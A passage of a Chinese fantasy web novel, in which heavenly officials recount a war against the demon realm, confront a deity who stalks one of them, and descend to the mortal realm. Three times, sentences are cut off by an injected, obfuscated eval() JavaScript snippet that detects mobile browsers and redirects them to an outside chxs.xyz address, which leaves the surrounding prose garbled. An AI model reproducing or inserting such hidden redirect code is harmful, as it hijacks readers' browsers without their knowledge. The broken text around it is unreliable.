明煦得意地将那柄扇子“哗啦”一声打开,边摇边道;“要说咱们存羽仙圣最辉煌的事迹,那自然得从一万年前的天魔大战开始讲起。彼时魔界气焰嚣张得很,颇有一副要统领各界,唯魔独尊的意思。当时妖界的妖皇还是一只巨隼,他那性子可以说是要多孤傲有多孤傲,妖界在他的带领下几乎从不与其他几界来往。因此,妖界也是第一个被魔界盯上的,很快便遭了难。” “咱们天界自然不能袖手旁观,任由魔界起祸。所以天帝——哦,那个时候在位的还是兆邈天帝,便打算派一些人手前去妖界支援。没想到此时幽冥界也中了算计,与外界相连的唯一通道——也就是冥门,不知何时被落了一道古怪的锁,怎么都无法打开或破坏,任谁都无法出入。”明煦叹了口气,“就算是新的亡魂,也不行。” 唐禾倒吸一口凉气:“那人界怎么办,死了的人魂魄进不去幽冥界,不还是得留在人界吗?” “是这个道理没错,所以说那段时间人界到处都乱糟糟的,吓人得很。”明煦拨开伸在她面前的荷木枝,“都这个时候了,魔界想耍什么把戏也是明摆着的了。他们无非就是想分散咱们天界的力量,再伺机攻打。但就算明白也没有用,我们不可能不管人界死活,所以只好兵分三路,主要兵力留在天界防守,另派两队人马分别前往人界与幽冥界,试图让一切恢复正常。” “为什么是三路啊,算上妖界的话,不应该是四路吗?”唐禾发问。 明煦遗憾道:“妖界……唉,我们没能来得及出手。你想啊,他们被入侵了,自然是要打回去的。但谁去打,怎么打,这里面小九九多了去了。妖界有几个长老本来一直就对巨隼大哥不太服气,这时候齐刷刷地跳出来出谋划策,谁也不听谁的,吵也吵不明白。心不齐的仗没法打,内斗又是最耗人的,所以妖界没等到我们来就已经陷落了,完全被魔界掌控。” “魔界的目的已经达到,便开始集中力量攻打咱们天界。天魔两界实力本身就相差无几,如今正面交锋,双方死伤都很严重。”明煦顿了顿,“但魔界靠着早就安插在天界的内应,趁我们的主力与他们的主力缠斗之时破坏了一处防守较为薄弱的结界,导致魔尊风烬带着一小波精锐,就这么轻而易举地攻了进来。” 她鼓着脸,不满道:“虽然我明白用间是一门高明的学问,也知道各界彼此之间其实都有耳目,但我毕竟是天界中人,心是向着天界的,所以魔界耍手段我自然要唾弃。” 颜故问道:“那然后呢?” “然后,就是咱们存羽仙圣大显身手,一战成名的时刻了!”如桃在一旁激动道。 “没错!”明煦“咔哒”一声合上了扇子,语速飞快,“风烬这下作算盘打得虽响,却没料到他们这波人刚进入天界不久,就遇到了正在附近巡逻的存羽仙圣等人。说时迟那时快,双方立即斗将起来,打得那叫一个昏天黑地。虽说存羽仙圣功法要逊上风烬一筹,但俗话说得好,狠的也怕不要命的,存羽仙圣那打法招招都好似豁出命一般,风烬短时间内也很难避得开呀。” 明煦倒了口气,继续道:“他二人在这厢拼命,那厢存羽仙圣的一众随行也与魔界精锐打得轰轰烈烈。存羽仙圣眼见身边人纷纷倒地,遂拼死祭出了元神,几乎是用自己的一条命给了风烬重重一击。好在后来天界支援及时前来,赶在他元神殒灭之前将他救起。而风烬身边精锐尽损,自己也伤重在身,不得不独自夹着尾巴逃回魔界。” 唐禾向往地攥起了拳头,喃喃道:“存羽仙圣也太神勇了吧……” 颜故随着如桃穿过一道空廊,听着明煦慷慨激昂道:“魔界本就死伤众多,存羽仙圣这一击又使得风烬短时间内无法再战,魔界这才不得不派人前来议和。我们本该乘胜追击,但天界确实也折损惨重,是该好好休养生息。且魔族生性狡诈,兆邈天帝恐此番又是魔界的诱敌之计,便决定先等人界、幽冥界与妖界都安定下来,再做打算。” 唐禾回忆了一阵:“我修行的这一千多年里魔界确实挺安分的,风烬的伤不会现在还没好吧?” 如桃答道:“很难说。因为虽说风烬在那一战后很快就露面了,而且据说看起来精神还不错,但是魔界这近万年来大事小情主要还是他弟弟风涯在操持,风烬只是会在一些极为重要的场合出现撑撑场子,展现一下自己的魔力无边、意气风发而已。但他越是这么表现,我越是觉得风烬的伤极有可能还没完全恢复。毕竟他的性子那么狂妄自负,但凡还有一丁点能蹦跶的劲儿,都绝对不可能随随便便让他人来掌控魔界,这可跟咱们知人善任随后放心云游去了的兆邈天帝不一样。” 明煦嬉笑着搭上如桃的肩膀:“蹦跶这个词用得极好,秋后的蚂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13988130|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蚱活不长,我们就衷心祝愿他的伤永远好不了吧。” 颜故微微蹙眉,面上有些担忧:“那存羽仙圣现在情况如何?” “当年仙圣确实伤得很严重,几近陨落,但现在已然没什么大碍了,据我们仙子说他正在四方遨游,逍遥得很呢。”如桃抬头望了望,向前方遥遥一指,对他们示意道:“喏,前面就是初琅殿了。” 颜故抬眼望去,一幢古雅的宫殿坐落在苍翠掩映之中,顶端悬一褐木匾额,上书“初琅”二字。匾额四周雕刻了一些细小的花纹,远看虽不甚清晰,却也能品出些雅致来。一缕清风正拂着那片苍翠,枝干间的叶片随之颤颤起舞,发出了阵阵仿若悠长叹息般的叶鸣。 颜故移开视线,见身旁的唐禾似是有些出神,便笑问道:“不知唐仙友在想什么,怎的如此认真?” 唐禾这才回过神来,不好意思地摸了摸后脑勺:“我还在想,存羽仙圣为什么要给玄镜仙子住的地方下禁制呢,感觉这样生活多少会有些不方便。” “嗯……”明煦拿扇子有一下没一下地点着下巴,“这个我们也不清楚,但若说不方便的话倒也还好,西偏殿那边没什么人去,也就初三偶尔过去遛遛。” “对了,说到初三,”如桃谨慎地环顾一周,见周围并无雪白猫影,这才小声道,“你们千万注意,没事不要招惹初三。这猫脾气大得很,小心被打。” 唐禾闻言憨憨一笑:“被小猫打两下能有多疼嘛,我之前在人界偶尔也会被猫挠到,连印子都没留过。再说我们最多也就是摸一摸,肯定不会去招惹的。” 如桃与明煦交换了一个意味深长的眼神,刚打算与他好好说道说道初三的娇悍之处,却发现初琅殿已然近在咫尺,只好暂时将话咽下,带着颜故好好参观起了他的居所。 ---------- 明煦平日里没事儿就往青晏这跑,现在虽然座下多了个仙使唐禾,但日子过得和之前也没什么分别,依旧是大部分时间都在青晏府中晃悠着。 晃悠来晃悠去,他们几个彼此间逐渐熟悉了起来,日子也很快便走到了宸景为他们选好的出发日那天。 明煦照例带着唐禾来青晏府中汇合,因青晏住处离太垣南门着实有点远,怕颜故与唐禾的修为不足以用腾移之术到达,青晏便安排了一辆飞月乘载他们前往,并威胁初三如果敢偷偷跟来便要让它去拉车,气得它发出的骂声听着有点像羊叫。 明煦一路上都兴奋极了,不住地盘算着到人界后都该干点什么,好似他们此行并非是带着座下仙使去下界游历,而是出门散心一般。 眼见着明煦快要把接下来一百年的计划都安排妥当了,青晏却也只是笑眯眯听着,并不开腔。 颜故侧过头低声问青晏:“仙子,我们真的是这个安排吗?” “自然不是。” “仙姬说得那么认真详尽,我还以为是真的呢。”颜故瞄了一眼明煦,又道,“需不需要提醒一下仙姬?不然到了人界怕是要失落。” “不必,让她开心一会儿,”青晏随意道,“何况她也知道自己是在胡说八道,由她去吧。” 不久后,飞月乘停了下来。明煦刚愉快地哼着小曲跳了下去,却在下一瞬猛地回头拉开珠帘,小声急道:“快走快走,不然来不及了!” 青晏顺着她的目光向外一眺,面色渐渐冷了下来:“已经来不及了。” 5. 狂热 她沉默着走下飞月乘,听明煦在她耳边火急火燎道:“怎么回事,这批的指引仙官难道也有他吗?” 青晏面色越发清冷:“绝无可能。” 颜故与唐禾从未见过她们二人如此反应,均有些不知所措。就在他们面面相觑之时,远处有两人一前一后地向他们这里走来。 后边的那个颜故与唐禾都见过,乃是他们此次同届晋上来的几位仙使中的一个,名作随翎,此时正从腰间翘出一只手来偷偷地和他们打着招呼。 而走在前面那人虽然面生,但观其行走姿态之骄矜,定是平时高高在上惯了的人才会有如此这般高视阔步的神态。随着此人越走越近,他投射给青晏的目光就越来越清晰。 那是一种混杂了狂热的迷恋目光。虽然已经竭力克制,却依然因为过于浓重而可以被人轻易捕捉。 颜故几不可查地皱了下眉。 明煦迅速推了推青晏:“快走,我来跟他说废话拦住他。” “没事。”青晏拍了拍明煦的手让她安心,“你带着他们去守御副将那把文牒验了吧,我有办法让他不能跟来,别担心。” “还是你去吧,”明煦迅速抽出自己和唐禾的文牒来递给青晏,“我刚才望了一眼,今天当值的守御副将是前几天刚跟我比划输了的那位,不服气着呢,我一过去他肯定又要跟我约下次比试的时间了。你去验才最快,他不敢跟你多说话的。” 说话间那二人便行至他们面前。靠前的那人双目紧紧锁着青晏,唇边绽出一个过于标准的微笑:“许久未见,玄镜仙子近来可好?” 明煦讥笑道:“思盛神君莫不是犯了眼疾,我们这可还有三个人呢,怎么都不说招呼一声?” 思盛微昂着下巴睨了她一眼,又再度对青晏笑道:“不承想能在这里见到玄镜仙子,实在是有缘极了,想必仙子应该也是要带着后辈下界历练吧?既是如此,不如与在下一起?”他微微侧身,让出了身后的随翎,“恰好近日我座下也新拜入了一名仙使。” 青晏置若罔闻,径直往太垣南门的守御副将那去了,仿佛只是掠过了一团不断浮动着的灰蒙瘴气。思盛脸色一变,刚要跟上前去却被明煦伸手拦下。他阴郁的目光从她的手臂挪到她的脸上:“燃乐仙姬有话要说?” “倒也不是。”明煦似笑非笑,“只是我们这两名座下仙使还没和神君见过礼,这多不合规矩啊,所以得有劳神君等等。” “不必。”说完思盛便想绕开她往前走,未曾想却再次被明煦拦下:“别啊,多难得的机会。”她使劲地向颜故与唐禾招手,“快点,快过来见过思盛神君。” “燃乐仙姬。”思盛的语气虽淡,眸中却跃动着凛冽的光,“适可而止。” 明煦脸上残存的笑意也消失了。她冷冷地看着思盛:“思盛神君如果能明白这四个字的意思,今天大概也不会出现在这儿了。” “我此番乃是奉天帝命令带后辈下界游历,燃乐仙姬如此阻拦,是打算对天帝不敬?” 明煦“嘁”了一声,不屑道:“你这帽子给我扣的,也太大太熟练了,平时没少拿着鸡毛当令箭吧?” 思盛神色阴郁,一双眸子死死地盯着明煦。 就在这剑拔弩张的时刻,颜故却有些不合时宜地惊呼出声。他摸了摸头,有些赧然地对明煦道:“燃乐仙姬,我的下界文牒好像不见了,是不是已经交给你了?” “啊?”明煦有些疑惑。 他们四个的文牒不是刚刚才交给青晏吗,颜故这么快就忘了? 明煦本能地望向青晏的方向,见她正将他们几人的下界文牒给太垣南门的守御副将,突然便像意识到什么似的猛地回过头来。 她盯着思盛,一字一句道:“思盛神君,你的下界文牒也是要给守御副将看的。” 思盛轻蔑一笑:“怎么,燃乐仙姬想要代劳?” “这种好差事我就不凑热闹了,”明煦讥讽地笑了笑,开口的嗓音极为清脆,“我感兴趣的是,你是怎么当上指引仙官的呢,思盛神君?” “燃乐仙姬这是在质问我?”思盛的脸色沉得似乎能滴出水来,“休要不知好歹。” “我知道思盛神君想说什么。”明煦一脸无所谓的样子,“无非就是和从前一样,觉得以我的仙阶不配与你说话,如果不是看在青晏的面子上早就对我不客气了。但很遗憾,并不是所有人都吃这一套。况且,”她话锋一转,“思盛神君的指引仙官一职如果来得堂堂正正,又何苦在这自降身份与我绕圈子扯皮呢?” 思盛冷笑一声:“如若我是,你待如何,自绝于此?” 明煦岿然不动:“思盛神君不妨想想,我为何敢如此笃定你一定不是呢?” “很好。”思盛简短地从唇缝间吐出两个字。他伸手唤来随翎,神情也逐渐变得莫测起来,“既然燃乐仙姬一再坚持,不妨把我们二人的文牒拿去看看,也好叫你彻底死心。” “不必了。”青晏的声音从远方清晰地传来。 她收起了他们四人的文牒,转过身来对着思盛道:“以神君之能,必会做好万全准备,所以这文牒自然是真的。只是指引仙官一职责任重大,相关文牒历来是由天帝亲自核验盖印才能下发,那么这文牒上一开始到底是谁的名号,天帝对你与泽湘仙子私下替换仙职一事又有何看法,思盛神君是否愿意告知?” 思盛面上刚刚扬起的傲然笑意瞬间凝住了。 他暗暗咬了咬牙,竭力让自己的声音平稳下来:“泽湘仙子突有其他事务缠身,所以将指引仙官一职托付于我。我已着人将奏笺呈至天帝处,不日便会有批复。” “哦?那就是现在还没有批复的意思咯?”明煦抱臂朗声道,“我知道思盛神君嫌我话多,但我还是很想提醒一句,有些事情天帝可能会看在湛德仙圣的面子上睁一只眼闭一只眼,仙圣自己可却未必。” 思盛深深地看了明煦一眼,眸中是不断翻卷着的阴霾。不过很快他的神色便恢复了正常,转而对青晏缓道:“此番未能与玄镜仙子同行,实乃遗憾至极。望仙子此番一路顺遂,你我日后有缘再会。” 随翎望着那个挥袖离去的背影愣了一愣,刚要跟上前去却被青晏唤住。 她懵懂地立在原地,听着青晏问道:“这位小仙友,你叫什么名字?” 随翎怯怯地答了。青晏继续问道:“你之前是否见过泽湘仙子?” 随翎回忆了半天,惴惴不安道:“好像在汲秀殿见过……”她求助般地望向了颜故与唐禾,在得到了肯定的答复之后紧张地抿了抿唇,一双大眼怯怯地在青晏与明煦间转来转去。 她心里怕极了,虽不清楚这几位高高在上的仙子神君们之间到底发生过什么,但瞧刚才那种架势,他们定然是水火不容的关系了。 她不敢猜,也猜不透事情为什么会变成这样,只知道自己心里的迷茫满得快要溢出来。 她的指引仙官到底是谁呢?难道不是思盛神君吗?虽说那天自己在汲秀殿确实未曾见到过他,但后来仙籍阁也与她解释了说神君仙务繁忙未能亲自前来,过些时日会来带她下界游历,叫她耐心等待即可,如今怎么又和泽湘仙子扯上了关系? 况且现如今思盛神君算是在她这个后辈面前失了面子,接下来的游历可怎么办,自己会不会因为这个而被暗中为难? 青晏沉静的声音犹如一泓清泉一般稍稍抚平了她的焦灼:“不必担心,你的指引仙官本就不是思盛,以后也不会是他。一会儿会有人送你去天宫,到那后只需将你知道的一切如实告知天宫主掌令书云,她自会禀告天帝予以定夺。” 青晏见随翎还有些犹豫,又道:“我知你心中仍有不少疑惑,你我又是初识,理应对我的话有所怀疑,但请相信我,这已经是你现下最好的选择。且天帝行事公允,必会对你做出最妥善的安排。” 颜故温声道:“玄镜仙子所言非虚,这确实是目前对你最有利的办法。” 唐禾也诚恳点头:“真的,仙子是好人,你放心吧。” 被这两个略熟悉一些的人劝了劝,随翎这才彻底从之前的紧张情绪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13988131|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中缓了过来。她认认真真地朝青晏施礼道谢,随后带着青晏给她的信符,与一名太垣南门的守卫一同往天宫去了。 明煦这才如释重负地呼出一口气。她刚要开始抱怨,青晏便摇头制止道:“别在这说。” 于是明煦听话地安静下来,跟着青晏折入通向一片密林的岔路——前往人界的入口便隐匿在其中。 过了一阵明煦回头远眺,估摸着南门的守卫们应该听不见他们的声音了,立即开始怒骂:“我本来以为他之前就已经够疯了,没想到这次还扯上了别人,人家小孩儿初来乍到的容易吗?湛德仙圣美名远扬,居然能教出来一个这样下三滥的徒弟,真是奇了怪了。我如果是他,一早就把思盛给赶出门去,省得败坏了其他徒弟的名声。” “他在湛德仙圣面前可不是这般模样。”青晏道。 唐禾偷偷瞄了眼颜故,不明白他为什么能如此泰然自若地跟在青晏身后,平静得好像刚才的事情在他心中激不起哪怕一丝波澜。又或者……颜故也和他一样有很多问题想问,只是没表现出来而已? 就在他胡思乱想之际,明煦十分担忧地回头问道:“你们俩怎么一声不吭啊,是被吓到了吗?” “应该是想问却不敢问吧,”青晏打量了他们一眼,“抱歉,确实不太体面。” “我们没觉得不体面,况且体面也得分对谁吧,我看那思盛神君就是有问题。”唐禾小声嘀咕道。 明煦与青晏对视一眼,双双笑了起来。 明煦拍着手,乐不可支道:“瞧思盛这一肚子坏水,真是连装都装不了了,明显到刚打个照面的人都能看出来。” 颜故唇角轻扬:“仙子与仙姬如此反应,我们想认为他是好人也难。” “哦?就这么确定我们是好人吗?”明煦朝他挑挑眉,“说不定我们俩才是坏蛋呢。” “不会的。”颜故垂睫一笑。 他的声音如同缓缓流淌着的林间溪水般清澈动听:“恶人之所以恶,全归结在‘不在乎’这三个字上。不在乎别人的财富、感情、乃至性命,只将其看作可为己所用的棋子,所以思盛神君才会在自己的盘算暴露之后心安理得地抛下随翎离开——因为她已经没有利用价值了。但仙子与仙姬却考虑到了随翎的将来,即便她对很多人来说只不过是一个身微言轻的陌生小辈。如此天壤之别,谁善谁恶,高下立判。” “而且我们大家都已经认识这么久了,我们当然知道仙子和仙姬都是一等一的大好人!”唐禾笑得灿烂。 “是啊,”柔和的笑意点亮了颜故古雕刻画般的面庞,“仙子仙姬功法高深地位卓然,却对我们两个刚晋了仙的小仙使关怀备至,不仅提前收拾出了一个极为舒适宽敞的住处给我,这几日膳房也都是按照我们喜好的口味做菜。” “而如樱如桃两位姐姐虽担仙侍掌令之职,却能在仙子仙姬面前也如平时一般轻松自如,可见也是得了真心相待。”他看向青晏,唇角噙着一抹笑意,“仙子不似传闻中一般冷淡疏离,反倒有着一颗温暖的心呢。” “你们俩真是,这嘴一个比一个甜。”明煦被夸得心花怒放。 “对了,”她转向颜故,“真得谢谢你,要不是你提醒我,我都忘了查验他文牒的事情,不然可拖不了这么久。” 颜故连忙推辞道:“仙姬抬举,我只是遵从仙子的建议多读了些典籍。” 他朝青晏眨眨眼,“实在令人受益良多。” 青晏收回自刚才起就一直在观察他的目光,抿唇道:“行了,就别在这见缝插针地夸了。” 她踌躇了一会儿,停下脚步道:“今天的事情完全是因我而起,所以我觉得该给你们一个解释,也省得你们以后为了好奇此事而分心。” 唐禾的眼睛一下子就亮了。 他飞快地瞟了颜故一眼,本想给自己满溢的好奇心找个同伴,却意外地发现颜故的目光中除了期待之外,还糅杂了一些他看不懂的东西。 只不过唐禾没时间去分辨,因为青晏很快便开了口,将这段纠葛说与他们听。 6. 人界 青晏道:“湛德仙圣,同我师父一样,乃是天界三位仙圣之一,思盛是他的首徒。思盛仙法本就强劲,且因着湛德仙圣与旧任天帝兆邈私交甚笃而多少得了些兆邈天帝的欣赏,所以被封了个神君的仙衔,在天界大大小小的神仙里算是个有几分脸面的。” 明煦插道:“结果没想到他这么不要脸。” 青晏略一思量,竟非常认同地颔了颔首:“自打我跟着师父在一个非常无趣却又非去不可的场合中认识了他后,他便宣称对我一见钟情,要与我结成仙侣,我自然拒绝。随后他便到处打探我的喜好,又频频传信,屡次碰壁后便在湛德仙圣面前很是表演了一番郁郁寡欢的模样。” “湛德仙圣心慈,看不得自己意气风发的徒弟如此消沉,便通过我师父与我递话,说自己的徒弟性情纯良,与人亲善,问我究竟不喜思盛哪里,若是能得以改善是否愿意与他接触。又道若没有那种缘分,能多结交一个挚友也是好的。” “性情纯良,与人亲善……”颜故的表情很是意味深长,“湛德仙圣确实心慈得很。” “倒也不完全是湛德仙圣在护短,而是思盛惯会在他面前装乖。”青晏凉凉道,“所以在我师父对湛德仙圣转达了我的意思后,思盛确实消停了一段时间。但好景不长,我师父开始闭关没多久思盛便又缠了上来,总是神出鬼没地出现在我附近,我走到哪里他便跟到哪里,也不知是哪里得的消息。但当我质疑时,他却称这一切不过是巧合,只能说明我与他缘分天生注定。” 唐禾听着连身子都麻了半边:“这么过分,难道没有人管一管他吗?” “这便是他的狡诈之处了。”青晏喟然,“如同今日一般,每次他的出现都因着他在各处的人脉而有一个正式的缘由,让你挑不出错来。如果他这次不是用指引仙官作为理由的话,我们可能到现在都找不出他的破绽。” 颜故问道:“为什么用这个仙职便会被找出破绽呢?” 明煦抢道:“自然是因为指引仙官是由天帝全权指定的呀!”她笑得见牙不见眼,“有青晏在这,天帝怎么可能放思盛去给她添堵呢?” 颜故垂了垂眼帘,没再说话。 青晏向明煦投去一个和善的眼神。 明煦心领神会地收了声,听着青晏继续道:“其实思盛最怕的倒不是天帝,而是他师父湛德仙圣。湛德仙圣人如其名,行事风格一向光明磊落,如果被他知道自己爱徒竟有如此行径,只怕会当即勃然大怒,将其痛斥上三天三夜。” “只是思盛毕竟从小在他膝下长大,如果没有切实证据,湛德仙圣会认为一切皆是巧合,反倒显得我们小题大做。而思盛人虽狂妄,做事却谨慎。就好比此次的仙职交替一事,若是追究起来,泽湘仙子定然会是因为仙务缠身而不得不求助于思盛,而思盛也一定已经将奏笺递送给了天帝。就算事后被问起为何不等天帝签批便擅自行动,也可以把一切推给随翎,说不想让她落后于人。” “这世上无人可真正随心所欲,就算是天帝,也会有自己的考量和顾虑。目前思盛依然肯忌惮湛德仙圣,对我来说就已经足够了。况且以思盛之资……”青晏唇边的笑容极淡,“不足为惧。” 明煦不以为然地嘁道:“就他那水平,两个加起来也够不上你呀,也就能打打仙术不精的我吧。” 青晏道:“也没那么夸张。” 颜故此时却道:“我有个没想明白的地方,”他的眉头微微蹙着,“思盛神君为何会在存羽仙圣闭关之后便对仙子开始纠缠,是巧合吗?” “这个……”青晏眼睛转了转,忽然莞尔,“不是。” 她抿了抿唇,声音里满是克制住的笑意:“而是我师父做事一向不大讲究章法,如果被他知道了,思盛无论有多少个正当理由也逃不过他一顿狂风暴雨般的收拾,我师父也一定会将这些事如数说给湛德仙圣听,不管他信与不信。湛德仙圣为了给我师父一个交代,也只能对思盛作出限制。只是这种做法听起来虽畅快,却一定会对两位仙圣之间的关系造成影响,再见面时定然少不了尴尬。天界尚未恢复至全盛时期,魔界又一直在暗中虎视眈眈,若为了这种小事伤了和气,不值得。” 明煦撇嘴道:“这也就对你来说是小事,思盛打不过你所以才不敢太放肆,换成别的姑娘可就难说了。” 青晏拍拍她的手:“你这个姑娘刚才不也还是在为我争取时间吗?” 明煦毫不在意道:“为了你我当然什么都敢啊,况且思盛就算再疯也不至于当众对我动手,没事儿。” 青晏的眉眼舒展得极为柔软。她伸出手摸了摸明煦的头发,随后对颜故与唐禾和悦道:“好了,你们还有什么问题吗?” “没有了,”颜故笑笑,“只是从这件事中学到了一些道理。” 青晏注视着他:“什么道理?” “只有能被证实的真相才有意义,水面下的千丝万缕在被看到之前,不会有人关心。”颜故勾了勾唇角,“以及,很多问题在你足够强大之后便会迎刃而解,根本无需忧虑。” “所以我和唐禾会努力修行,争取早日成为天帝所说的栋梁之才,为仙子仙姬解忧,为天界解忧。待天界恢复全盛之时,我们再去联手拾掇思盛神君一顿,好给仙子和仙姬出气,”颜故笑吟吟地朝青晏眨眼,“如何?” 虽然知道他不过是在说俏皮话,但青晏还是不由自主地被逗笑了。她无奈地摇摇头,睨着颜故道:“傻不傻。” 明煦戏谑道:“就是,你也不问问唐禾愿不愿意跟你一起冒这个险。” “我愿意的!”唐禾赶紧挺起胸膛。 “我知道你肯定愿意,”明煦笑嘻嘻地伸出一根手指点了点唐禾的小脑瓜,“但是玩笑归玩笑,你俩可千万别这么干啊。” “一个两个都在说玩笑话,看来是没什么疑惑了。”青晏抬头望了望顺着层层密叶透下来的几缕阳光,“时间也差不多了,我们该走了。” 她挥袖将他们四人的文牒悬在空中,手指上像缠了看不见的丝线一般缓缓地调整着角度。忽然,那几缕透下来的阳光像有了自己的意识一般顺着文牒附了上去,将那四张文牒浸染得熠熠生辉。青晏手指一错,那些文牒倏地化成了无数张翻卷着的纸叶,扑簌簌地勾出了一副染着金边的巨幅山水画。 只是那画中的景色会动。 一道长河蜿蜒地从一片松林中流过,温柔地拂遍沿途的每一叶细草,热烈地奔向远处的金灿阳光。忽然有一只鱼鹰从水面上掠过,爪子一伸便提起了一条不断扭动着的肥鱼,带着淋漓的水珠扬长而去。 明煦看了一眼这副不断跃动着的画,又望了一眼静静伫立在远处的人界入口,不解道:“我们这次不从人界入口走了吗?” “对,这是我自己的结界。”青晏一只脚迈进画中,“这样比较方便。” 明煦不疑有他,一个箭步便跟上了青晏。颜故若有所思地看了一眼还在张着嘴惊叹的唐禾,也随之坦然入画。待他们四人在河边纷纷站定,青晏手指一勾,那四张文牒便又恢复了原状,老老实实地躺回了她的手里。 青晏嘱咐众人敛去身上的仙气,又施术隐去了各自原本的容貌,随后抚了抚本就整齐服帖的衣裙,正色道:“既然我们已经到了人界,此次游历便算是正式开始了,我有一些话需要对你们两个嘱咐。” 颜故唐禾立即挺直了脊背,听着青晏徐徐道:“游历一事虽是天界旧例,但因各人脾气秉性有所不同,所以他们带后辈下界游历的方式也会千差万别。我之前的游历是随着我师父存羽仙圣的,你们两个又都是我与明煦的第一个后辈,所以此次游历,我大抵会参考我师父之前带我的样子来对待你们。” 颜故与唐禾认真点头。 青晏眉头一挑:“但想必你们刚才也听我说了,我师父做事向来不拘小节,所以我们之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13988132|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的游历基本上可以用四个字来形容。” 颜故思索道:“惊心动魄?” “确实有过这样的时刻,但不是。” 唐禾纠结着:“风餐露宿?” 见青晏还是摇头,唐禾犹疑道:“总不会是风平浪静吧?” 青晏笑眯眯地:“是随心所欲。” 见颜故与唐禾有些纳闷,明煦替青晏解释道:“游历嘛,无非就是前辈带着后辈四处平息动乱,好让你们这种之前一直在潜心修行的新苗子多点实际经验。有的人呢,凡事都图一个快字,就连游历也是,喜欢带着后辈去降定那些已经正在被追缉的妖魔鬼怪。” 她不太认同地摇了摇头:“但这种已经板上钉钉的事儿本就有专人在处理,并且无论是谁,只要不是脑子不清楚,做坏事的时候肯定都是越隐蔽越好。如果等到实在遮掩不住的那天才去加以干涉,他们早就不知道已经祸害过多少人了。更何况有的时候,通过这种方式知道的事情不一定就是真实的,又或者说不一定是最需要解决的,因为当这个消息传到我们耳中的时候,也许已经被加上许多层别人的判断了。” “所以,”明煦打了个响指,胸有成竹道,“像一个真正的凡人一样在人界过上一段烟火日子,随着自己的心意去探索,去分析判断,去从细微处发现异常,继而抽丝剥茧,再快刀如乱麻,将其阴谋斩于脚下,实乃造福人界,锻炼自身之上计也。” 她这一番话说得慷慨激昂,给唐禾振奋得悄悄捏起了拳头。颜故眼神微转,也跟着笑着点了点头。 青晏补道:“当然,今时今日形势与从前已截然不同,各界都较之前安分了许多,从前的办法也许并不能完全适用于当下,我们且行且看吧。” 她看了看身边的明煦,复又对他们严肃道:“此外,虽说游历中一般不会出现什么太大的差池,但若遇危急情况,切记莫要逞强冒进,务必自保,我与明煦自会继续处理。这也是我们一同游历的意义,你们千万记住。” 颜故道:“可若是仙子或仙姬独自出行时遇到了危险无法脱身,我们该如何知晓呢?” “问得好。”青晏示意他,“伸手。” 颜故虽有疑惑,但仍依言照办。青晏在他手心轻轻一点,一道淡淡的青色光芒自他掌心中间一掠而过,又从指尖消失不见。 青晏道:“这是道法诀,若是你自觉遇见了不能处理的难题,只需握拳催动,我即刻就会出现。而若是到了生命悬于一线的危急关头,此法诀会自动触发,我也会立即现身。如此,你独自遇到的危险我便可以前来解决。” “至于连我们都无法脱身的危险,”她又在唐禾的掌心一点,“你们知晓这个做什么,前来送死?先不论正常情况下这种事情基本没有发生的可能,就算真的发生了,正确的做法也该是尽早回天界禀报,集结力量再做打算。” 颜故盯了一会儿自己的掌心,慢慢将它蜷缩起来。 他也说不清自己为什么要这么做,只是觉得手心里的触感过于奇妙,不自觉地想让它多留一会儿。半晌后他抬起头来看向青晏,余光里却意外捕捉到了一只发红的耳尖。 是唐禾的耳尖。 颜故的眸子闪了闪,仿若初识般将唐禾仔细打量了一圈。那微微发红的耳尖,虽错愕但暗含欣喜的眼神,悄悄背起的双手,无一不彰显着唐禾那近乎透明的心思。 他又将目光移向青晏,却见她正专心对着明煦的手施法诀,完全没注意到他们这边的风吹草动。 明煦将得了法诀的那只手搭上青晏的肩膀:“没错,虽然游历主要是为了锻炼你们两个,但万一天塌下来了肯定是我们顶,我们顶不起来的话就赶快去找能顶起来的,说不定还能捞一把我们俩的小命。打仗之前要先学会逃跑,积攒力量方有来日么,可千万不能莽着上,明白吗?” 颜故看了一眼已经恢复如常的唐禾,跟着他一起点了点头。 7. 承安郡 待他们几人立在了高大雄伟的城墙下,明煦在络绎不绝的人群中伸着手指,艰难地一一辨认着城墙上高悬的字:“承、安、郡。没错吧?” 在得到了确定的答复之后她愉快地打了一个响指,得意道:“要我说他们这字写得可真够龙飞凤舞的,要不是我饱读诗书,可能还真认不出来。” 言毕她余光一扫,赶紧迫不及待地率先往城里冲去,假装看不见青晏那在听到自己说完“饱读诗书”四个字之后眯起的眼睛。 青晏走在她身后,看着明煦一路上那左顾右盼,看什么都觉得新鲜异常的样子,眉眼不由得柔和起来。 